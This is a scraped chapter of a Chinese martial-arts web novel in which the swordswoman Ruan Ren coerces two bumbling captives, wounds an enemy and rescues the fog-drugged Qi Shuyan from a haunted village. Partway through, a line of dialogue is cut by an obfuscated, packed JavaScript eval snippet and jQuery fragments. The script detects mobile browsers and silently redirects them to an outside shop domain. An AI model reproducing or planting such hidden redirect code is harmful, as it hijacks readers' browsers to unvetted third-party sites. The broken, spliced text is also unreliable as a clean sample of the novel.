文趣网 > 其他小说 > 软刃 > 10. 迷雾
    张默和张沉俩人始终低着头,在树干旁边摇头晃脑。

    张默:“你能不能用点力?!”

    张沉:“我牙都要被磨没了,怎么没有用力了?这都怪谁?师父再三叮嘱过你,下山别喝酒,喝酒别下山!你都听到狗肚子里去了?!”

    “那你怎么不看着我!你也有错!”

    “你知不知道人有三急?!我还能时刻盯着你?”

    俩人大眼瞪小眼互相嫌弃了一番,重新低下头,试图咬断张默手上的绳结。

    一道修长的阴影覆盖下来,俩人皆是一顿,动作一致缓慢扭头。

    张默吞了口唾沫:“怎…怎么?还打?我服了!服了!”

    阮刃开门见山道:“知道荒村在哪吗?”

    张默看了眼张沉,而后点点头:“知道。”

    “给我引路。”

    张默摇了摇头,语气坚决:“不去。”

    阮刃目光冷淡道:“你没得选择,去也得去,不去也得去。”

    “我们不去。”张沉应声道。

    “嚓——”

    剑出鞘,在月光下泛着幽幽冷光。

    “哎哎哎!好好说好好说!”张默往后挪动着屁股:“真不是我们不愿意去,是,是因为…”

    “说。”

    “因为它闹鬼!”

    “鬼?”

    “对的对的!”

    阮刃剑柄在掌心转了个圈,背到身后。

    她半蹲下身体,冷眼瞧着地上的两人:“害怕鬼?那变成鬼就不怕了。”

    “这不对!”

    “对,这不对!”

    张沉和张默两人跟唱戏似的,一唱一和。

    “三个数,引路还是变鬼选一个。”

    地上两人面面相觑,这两个选择有什么本质上的区别吗?

    有,还是有的。

    “三”

    “二”

    阮刃声音干脆利落。

    她薄唇轻启,发出半截一的音。

    “走走走!引路!”张默大喊道。

    他心里泛着嘀咕:这人怎么不按套路出牌,正常不都应该拉长音倒数吗?给人一种折磨与煎熬。

    但事实证明,这种短暂又干脆的倒数,让他更难受。给他一种对方迫不及待想了结了自己的感觉。

    荒村不靠近主道,而是要顺着大道旁的小路往下走,七拐八拐才能抵达位置。

    这里更像是山坳。

    渺小的村落藏匿在山沟之间,四面被高低错落的山岗环绕,只有一条可供人进出的通道。

    抬头向上看。

    远处的山脉好似忽然被拉近,像一堵高耸的城墙,从山岗后探出头来,冷漠地注视着眼前的一切,压迫感十足。

    荒村此时隐藏在迷雾之中,一股呛人的烟气直冲头顶。

    阮刃用胳膊捂住口鼻,抬剑劈开一扇门,把两个呆愣的人踹了进去。

    她从包袱里掏出蒙面巾戴上:“对这里了解多少?”

    张默摇头说道:“不算多,据说在这里能看到一些平时看不到的东西,比如已故的人……总之古怪得很。”

    “我们之前偷偷跟过一支队伍来到过这里,但没敢进去就走了。这还是第一次。”张沉说。

    阮刃问:“在哪能看到?”

    张默思考了一瞬,不确定道:“那就不清楚了。听说从这里出去的人那段记忆都有些模糊,到底哪些是真哪些是假,我们也无从分辨。”

    阮刃摩挲着剑柄,目光紧盯前方的门。

    *

    亓疏晏瘫坐在地上,目光有些涣散。

    他神智迷离道:“这是哪啊?”

    郑明月靠在一旁皱着眉头:“这人能行吗?看着真没用,直接丢出去算了。”

    刘白借着门缝打看外边的情况。

    一道人影从雾中闪过,他扭头留下了句看住他,便冲了出去。

    “为什么不是你留下,我出去?”

    郑明月话还没说完,刘白就已经跑没影了,只留下一扇紧闭的房门和她无声对峙。

    她扯开蒙面巾,一脸烦躁的在屋子来回踱步,抬脚踢翻柜子前的凳子。

    柜门缓缓打开。

    *

    雾中。

    刘白眯着双眼,持剑盯着前方黑漆漆的人影。

    他内心极度烦躁,他宁可晕死在迷雾中,也不愿意见到那个人。他希望那个人不要出现在这里,甚至永远消失掉才最好。

    下一秒,人影消失了。

    耳边传来咻地一声,他举起剑用力一扛,溅起点点火星。空中飞来的剑像是失去灵魂一半,咣啷坠地。

    他心道不好,却来不及做出反应,就被来人猛地一掌拍到胸口,震得心脏发麻。手中的剑应声落地,他被逼到墙角处不得动弹。

    他看到了一双很矛盾的眼睛。

    那是充满冷漠杀戮的眼神,却又因红着眼眶显得有些无辜。

    刘白厉声问道:“你是什么人?”

    阮刃冷声道:“与你何干。见过一位穿白衣的公子吗?”

    刘白仿佛换了个人般,一改早前那副沉稳矜持的面孔。只见他低头嗤笑了声:“你说那个病秧子?见过如何,没见过又如何?”

    阮刃不陷入这种没有意义的对话之中,她脚下一勾,剑重新回到她手上。

    她淡声道:“不如何。”

    噗哧——

    她手中的剑抵进刘白的腹部。

    再一次问:“看到那位公子了吗?”

    刘白闷哼了声,眼神凶狠地看向阮刃,语气挑衅:“他快死了,你知道吗?看到这些雾了吗?他仿佛对这些雾反应很大呢,哈哈哈…”

    “呃…”

    他的笑声嘎然而止。

    阮刃目光冰冷,缓缓推动剑柄。

    “他在哪?”

    “你猜啊~”

    “哪间?”

    “没记住~”

    刘白邪笑道:“你找吧,没有我的帮助,等你找到你那位公子的时候,他怕是已经死了。”

    阮刃掀起眼皮,淡淡道:“你最好向上天祈祷那位公子没事,要不然你们有一个算一个,一个都别想活着离开这里。”

    阮刃收剑,迅速消失在雾中。

    松间山的常年被大雾笼罩,雾中练剑更是家常便饭。荒村的迷雾还没有松间山的雾气浓,只是呛眼睛呛鼻子。

    这雾不纯。

    她记得刘白从哪个位置开始跟踪的她。她回到一处狭窄的土路上,在某一个点站定。

    就是这里。

    两侧一共六间屋子,只有一间房门没上锁,其余五间均上着铜锁。

    咣当一声,门被踹开。

    屋内地上随风掀起一片灰尘,屋内静悄悄的。

    阮刃一眼便瞧见靠坐在墙边,脑袋低垂的亓疏晏。

    她抬脚跨进门。

    凳子旁躺着一个昏死的女人。

    柜子前横着一个僵死的男人。他面色铁青,双眼紧闭,嘴角噙着笑意,像是在做美梦。

    阮刃眼底一片漠然,她对这些丝毫不关心。她的目标只有一个。

    她单膝跪地,把手伸进面巾下,去探亓疏晏的鼻息。

    短暂又微弱的气息扑到她的手上,她转手拍了拍他的脸颊。

    “亓

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676581|207493||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    公子?”

    “亓公子?”

    亓疏晏未给反应,她难得有一瞬犹豫。她在考虑她这一巴掌下去,他身体能不能受得住。

    她收回手,非常用力地摇晃着他的肩膀,大声道:“亓疏晏。”

    亓疏晏睫毛动了动,眼睛眯成一条缝,神态迷离。他呆滞了几秒,然后笑道:“阮姑娘啊,真的是阮姑娘啊。”

    然后他摇了摇头,换了副表情,他表情惊恐地挣扎着身体:“别,别,别碰我,我不治了!我不治了!都别碰我!”

    阮刃眉头紧锁,抿了下嘴唇,随后收着力气给了他一巴掌。

    亓疏晏侧着脸静默了一瞬,保持这个姿势闷声道:“阮姑娘心真狠,这一巴掌都要把我打回璟安城了。”

    他脑子嗡嗡作响,不是阮刃扇的,是雾气造成的。他时而清醒时而呆滞,他有些分不清现实与幻象。

    甚至他认为这一巴掌都是假的。

    但他又觉得可能是真的,因为阮刃真下得了手。

    阮刃把亓疏晏的手环在自己腰上,然后用布条系了个死扣。

    “驾!”

    一匹鬃毛油亮的黑马应声奔跑起来。

    村口。

    张默和张沉一人捂着一边脸,面面相觑。这次出门绝对是没看黄历,今日一直在挨揍。

    时间倒退回两柱香前。

    阮刃没离开多久后,俩人紧贴在一起,趴在门缝打量外边的雾。

    看了半晌啥也没看见。

    他们坐回地上,松了口气。

    这口气还没喘匀呢,张默眼睛瞪得老大,颤颤巍巍地抬起手胡乱划了:“全…全全是人!”

    张沉也没好到哪里去,他指着张默后边的窗户:“你后边!后边!有人吊在那里!啊啊啊啊啊”

    俩人鬼哭狼嚎,连滚带爬地拥抱住对方,把头死死埋在对方的肩膀处。

    咣的一声。

    门被暴力踹开,俩人以为女鬼来索命了。手脚并用胡乱踢,还不忘本地打了套拳法。

    然后被阮刃狠狠揍了一顿,彻底清醒了。

    *

    掌柜被一阵推门声惊醒,她抬眼看去。

    刚才出去的姑娘扛着那位公子回来了。她不动声色地趴回桌面上,不过问也不好奇。

    桶内激起的水花溅到地上。

    冰冷的桶水凉得亓疏晏一激灵,他挣扎地将眼睛睁开一条缝,气弱游丝:“阮姑娘,能否加点热水?”

    “我们没有太多时间,你要快点清醒。”

    阮刃一副公事公办的冷漠态度。

    她只是打伤了刘白,他必定会追过来,只是时间早晚问题。

    “最快两个时辰,这个药效才会过劲儿。”亓疏晏脑袋歪在木桶沿上,有气无力道。

    他也不想这样。

    其他人很快就能恢复,但他却需要很久。他越来越唾弃自己的这副身躯了。

    如果可以,他真的很想死掉一了百了,但他不能。

    水温逐渐上升。

    亓疏晏闭着眼睛,微弱地侧了侧头。他能感觉到阮刃就站在他旁边,往桶里加着热水。他嘴角翘了下,很快又陷入昏迷。

    这一宿,两人都没闲着。

    每当他面色不对时,阮刃就把他及时叫醒,来来回回不知道折腾了多少次。

    直到天欲破晓,远处天际掺着微弱的淡橘色霞光。

    亓疏晏才慢悠悠换好衣服,疲惫安稳地睡去。

    阮刃手握鞘剑,双臂环抱靠坐在窗户上,抬眼看远方的天色。

    下方是野店正门,侧边是马厩。

    来。

    那打便是。